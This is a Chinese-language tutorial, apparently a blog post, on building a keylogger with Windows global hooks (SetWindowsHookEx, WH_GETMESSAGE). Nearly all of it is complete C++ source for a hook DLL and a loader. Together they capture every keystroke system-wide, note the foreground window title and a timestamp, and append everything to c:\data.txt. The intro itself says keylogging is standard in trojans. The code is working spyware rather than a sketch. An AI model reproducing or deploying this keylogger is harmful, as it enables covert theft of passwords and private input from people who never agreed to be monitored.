使用Windows全局钩子打造键盘记录器

简介

键盘记录功能一直是木马等恶意软件窥探用户隐私的标配，那么这个功能是怎么实现的呢？在Ring3级下，微软就为我们内置了一个Hook窗口消息的API，也就是SetWindowsHookEx函数，这个函数能够实现优先拦截提交给特定窗口的信息，并进行拦截者需要的处理，然后再提交给窗口函数或是下一个钩子函数，函数第一个参数为idHook，需要设置钩子的类型，在以下代码样例中我们选择安装的钩子类型为WH_GETMESSAGE，用来拦截WM_KEYDOWN键盘信息。

注意点在于如果要使用这个函数进行Hook全局进程窗口信息的时候，要使用DLL调用，因为如今Windows系统中进程信息是相互隔离的，只有通过DLL注入其他进程才可以获取其他进程窗口的信息。

C++代码样例

1. 键盘钩子DLL主程序

//////////////////////////////////////////////////////////////////
//
// FileName : KbHook.cpp
// Creator : PeterZheng
// Date : 2019/2/12 09:32
// Comment : Keyboard Hook Demo
//
//////////////////////////////////////////////////////////////////

#include 
#include 
#include 
#include 
#include 

using namespace std;

//本文件模块句柄
HINSTANCE g_hInstance = NULL;

// HOOK钩子句柄
HHOOK g_hHook = NULL;

// 键盘记录日志路径
const CHAR KEYBOARD_LOG[30] = "c:\\data.txt";
// 字符串缓冲区默认长度
const SHORT BUFF_LENGTH = 100;

CONST DWORD KeyMask = 0x80000000;

// 创建共享内存段
// param szPreTitle 保存上一个文件标题
#pragma data_seg("sharedata")
CHAR szPreTitle[BUFF_LENGTH] = { 0 };
#pragma data_seg()
#pragma comment(linker, "/SECTION:sharedata,RWS")

CHAR szBuff[BUFF_LENGTH] = { 0 };

/*
	使用“表驱动”的方式进行键位映射，可减少大多数键盘记录器中存在的大量if-else结构的情况，
	大幅度缩小程序体积。
*/

// 键盘虚拟映射值表
CONST UCHAR SPECIAL_SIGN_MAPPING_TABLE[][20] = {
	{192, 189, 187, 219, 221, 220, 186, 222, 188, 190, 191},
	{VK_F1, VK_F2, VK_F3, VK_F4, VK_F5, VK_F6, VK_F7, VK_F8, VK_F9, VK_F10, VK_F11, VK_F12},
	{VK_ESCAPE, VK_TAB, VK_CONTROL, VK_MENU, VK_LWIN, VK_RWIN, VK_INSERT, VK_DELETE, VK_HOME, VK_RETURN, VK_SPACE},
	{VK_NUMLOCK, VK_BACK, VK_END, VK_PRIOR, VK_NEXT, VK_CANCEL, VK_CLEAR, VK_SELECT, VK_PRINT, VK_EXECUTE, VK_LEFT, VK_RIGHT, VK_UP, VK_DOWN},
	{VK_ADD, VK_SUBTRACT, VK_MULTIPLY, VK_DIVIDE, 190, 110},
	{VK_NUMPAD0, VK_NUMPAD1, VK_NUMPAD2, VK_NUMPAD3, VK_NUMPAD4, VK_NUMPAD5, VK_NUMPAD6, VK_NUMPAD7, VK_NUMPAD8, VK_NUMPAD9}
};

// 真实字符映射码表
CONST CHAR* CONST OBJECT_SIGN_MAPPING_TABLE[][20] = {
	{"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"},
	{ "!", "@", "#", "$", "%", "^", "&", "*", "(", ")" },
	{ "`", "-", "=", "[", "]", "\\", ";", "\'", ",", ".", "/" },
	{ "~", "_", "+", "{", "}", "\\|", ":", "\"", "<", ">", "?" },
	{ "[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", "[F11]", "[F12]" },
	{"[ESCAPE]", "[TAB]", "[CTRL]", "[ALT]", "[LWIN]", "[RWIN]", "[INSERT]", "[DELETE]", "[HOME]", "[Enter]", "[SPACE]"},
	{"[NUMLOCK]", "[BACKSPACE]", "[END]", "[PGUP]", "[PGDOWN]", "[CANCEL]", "[CLEAR]", "[SELECT]", "[PRINT]", "[EXCUTE]", "[←]", "[→]", "[↑]", "[↓]" },
	{"+", "-", "*", "/", ".", "."},
	{"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"},
};

// Dll执行入口
BOOL APIENTRY DllMain(_In_ void* _DllHandle, _In_ unsigned long _Reason, _In_opt_ void* _Reserved)
{
	g_hInstance = (HINSTANCE)_DllHandle;
	switch (_Reason)
	{
	case DLL_PROCESS_ATTACH:
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_DETACH:
		if (g_hHook != NULL)
		{
			UnhookWindowsHookEx(g_hHook);
		}
		break;
	}
	return TRUE;
}

// 获取当前本地时间
VOID GetFmLocalTime(CHAR* szFmTime)
{
	ZeroMemory(szFmTime, BUFF_LENGTH);
	SYSTEMTIME sys_t;
	GetLocalTime(&sys_t);
	sprintf_s(szFmTime, BUFF_LENGTH, "%4d/%02d/%02d %02d:%02d:%02d   ", sys_t.wYear, sys_t.wMonth, sys_t.wDay, sys_t.wHour, sys_t.wMinute, sys_t.wSecond);
	return;
}

// 把字符保存到文件
VOID SetDataToFile(CHAR *buff)
{
	HANDLE hFile = CreateFile(KEYBOARD_LOG, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		MessageBox(NULL, "CreateFile Error", "Tips", MB_OK);
		return;
	}
	if (SetFilePointer(hFile, 0, NULL, FILE_END) == -1)
	{
		MessageBox(NULL, "SetFilePointer Error", "Tips", MB_OK);
		return;
	}
	DWORD dwWrite = 0;
	if (!WriteFile(hFile, buff, strlen(buff), &dwWrite, NULL))
	{
		MessageBox(NULL, "WriteFile Error", "Tips", MB_OK);
		return;
	}
	CloseHandle(hFile);
	return;
}

// 键盘钩子回调函数
LRESULT CALLBACK KeyHookProc(
	_In_ int    nCode,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
)
{
	if (nCode < 0)
		return CallNextHookEx(g_hHook, nCode, wParam, lParam);
	if (nCode == HC_ACTION)
	{
		MSG *p = (MSG*)lParam;
		//判断是否由击键消息
		if (p->message == WM_KEYDOWN)
		{
			UCHAR vKey = (UCHAR)p->wParam;
			ZeroMemory(szBuff, BUFF_LENGTH);
			// 时间和标题信息字符串
			CHAR szInsert[BUFF_LENGTH] = "\0";
			// 当前窗口名
			CHAR szNowTitle[BUFF_LENGTH] = "\0";
			HWND hForegroundWnd = GetForegroundWindow();
			GetWindowText(hForegroundWnd, szNowTitle, BUFF_LENGTH);
			if (strcmp(szNowTitle, szPreTitle) != 0)
			{
				// 格式化时间字符串
				CHAR szFmLocalTime[BUFF_LENGTH] = "\0";
				GetFmLocalTime(szFmLocalTime);
				strcat_s(szInsert, BUFF_LENGTH, "\r\n\r\n< ");
				strcat_s(szInsert, BUFF_LENGTH, szFmLocalTime);
				strcat_s(szInsert, BUFF_LENGTH, szNowTitle);
				strcat_s(szInsert, BUFF_LENGTH, " >\r\n\r\n");
				strcpy_s(szPreTitle, BUFF_LENGTH, szNowTitle);
				SetDataToFile(szInsert);
			}
			DWORD iShift = GetKeyState(VK_SHIFT);
			DWORD iCapital = GetKeyState(VK_CAPITAL);
			DWORD iNumLock = GetKeyState(VK_NUMLOCK);
			BOOL bShift = (iShift & KeyMask) == KeyMask;
			BOOL bCapital = (iCapital & 1) == 1;
			BOOL bNumLock = (iNumLock & 1) == 1;
			// 顶部数字键
			if (vKey >= '0' && vKey <= '9')
			{
				if (!bShift)
				{
					strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[0][vKey - '0']);
				}
				else
				{
					strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[1][vKey - '0']);
				}
				goto END;
			}
			// 标点符号键
			for (int i = 0; i < 11; i++)
			{
				if (vKey == SPECIAL_SIGN_MAPPING_TABLE[0][i])
				{
					if (!bShift)
					{
						strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[2][i]);
					}
					else
					{
						strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[3][i]);
					}
					goto END;
				}
			}
			// 字母键
			if (vKey >= 'A' && vKey <= 'Z')
			{
				if (bShift || bCapital)
				{
					szBuff[0] = vKey;
				}
				else
				{
					szBuff[0] = vKey + 32;
				}
				goto END;
			}
			// F1 - F12 键
			for (int i = 0; i < 12; i++)
			{
				if (vKey == SPECIAL_SIGN_MAPPING_TABLE[1][i])
				{
					strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[4][i]);
					goto END;
				}
			}
			// 特殊功能键
			for (int i = 0; i < 11; i++)
			{
				if (vKey == SPECIAL_SIGN_MAPPING_TABLE[2][i])
				{
					strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[5][i]);
					goto END;
				}
			}
			for (int i = 0; i < 14; i++)
			{
				if (vKey == SPECIAL_SIGN_MAPPING_TABLE[3][i])
				{
					strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[6][i]);
					goto END;
				}
			}
			// 小键盘
			for (int i = 0; i < 6; i++)
			{
				if (vKey == SPECIAL_SIGN_MAPPING_TABLE[4][i] && bNumLock)
				{
					strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[7][i]);
					goto END;
				}
			}
			for (int i = 0; i < 10; i++)
			{
				if (vKey == SPECIAL_SIGN_MAPPING_TABLE[5][i] && bNumLock)
				{
					strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[0][i]);
					goto END;
				}
			}
		END:
			SetDataToFile(szBuff);
		}
	}
	return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

// 部署全局钩子
extern"C" __declspec(dllexport) BOOL StartHook()
{
	if (g_hHook != NULL)
		return FALSE;
	//安装钩子
	g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)KeyHookProc, g_hInstance, NULL);
	return TRUE;
}

// 卸载钩子
BOOL StopHook()
{
	if (g_hHook != NULL)
	{
		if (!UnhookWindowsHookEx(g_hHook))
			return FALSE;
		g_hHook = NULL;
	}
	return TRUE;
}

2. DLL载入程序

//////////////////////////////////////////////////////////////////
//
// FileName : KbHookRunner.cpp
// Creator : PeterZheng
// Date : 2019/2/12 09:32
// Comment : Keyboard Hook Loader
//
//////////////////////////////////////////////////////////////////

#include 
#include 
#include 
#include 

using namespace std;

typedef BOOL(*StartHook)();

int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
	HMODULE hModule = LoadLibrary("KbHook.dll");
	if (hModule == NULL)
	{
		return 0;
	}
	StartHook STHK = (StartHook)GetProcAddress(hModule, "StartHook");
	if (STHK == NULL)
	{
		return 0;
	}
	BOOL bRet = STHK();
	if (bRet)
	{
		MessageBox(NULL, "Hook Success", "SetHook", 0);
	}
	else
	{
		MessageBox(NULL, "Hook Error", "SetHook", 0);
		return 0;
	}
	Sleep(100000);
	return 0;
}